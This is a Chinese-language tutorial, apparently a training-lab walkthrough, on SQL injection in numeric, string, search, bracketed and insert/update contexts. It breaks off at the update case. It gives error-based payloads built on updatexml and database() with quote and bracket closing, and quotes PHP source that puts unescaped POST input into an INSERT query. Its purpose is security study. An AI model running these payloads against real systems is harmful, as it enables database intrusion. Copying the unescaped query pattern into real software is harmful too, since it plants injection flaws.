数字型注入
虽然题目已经说了是数字型,但我还是以什么都不知道的状态去进行检测
检测是否为字符型
抓包,改包3’ # 这里表示闭合前后单引号,如果是数字型这里会报错
报错,得了是数字型,也可以看出这里可以使用报错注入
能使用报错注入,绝不使用联合查询注入
成功显示错误描述
字符型注入
先检测是否字符型
没报错证明是字符型
那么进行字符型的报错注入
’ or updatexml(1,concat(0x7e,database()),1)#
搜索型注入
搜索型源码一般是 select … from … like ‘%xxx%’ xxx是我们输入的值
尝试输入% (通配符表示所有)
跟字符型差不多,闭合前后单引号,这里用and是因为’%'能查到数据
输入
’ and updatexml(1,concat(0x7e,database()),1)#
where 或 like ,第一个条件为true,使用and;为false,则使用or
xx型注入
源码
$query="select id,email from member where username=('$name')";
用括号和引号把变量框起来了,我们拼接sql语句时也要闭合括号,引号
') or updatexml(1,concat(0x7e,database()),1)#
insert/update注入
源码
if($_POST['username']!=null &&$_POST['password']!=null){
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{
$getdata['username']}',md5('{
$getdata['password']}'),'{
$getdata['sex']}','{
$getdata['phonenum']}','{
$getdata['email']}','{
$getdata['add']}')";
$result=execute($link, $query);
insert/update目前只用过报错注入,联合查询这里行不通,没有回显
这里先看insert注入,源码可以看到密码进行md5hash,所以sql语句无效,所以只能从其他字段进行注入
输入
’ or updatexml(1,concat(0x7e,database()),1) or ’
前后单引号为了闭合values中的单引号,这里不能用#注释后面的内容,因为需要插入的字段不是一个
再看update注入
先注册一个账号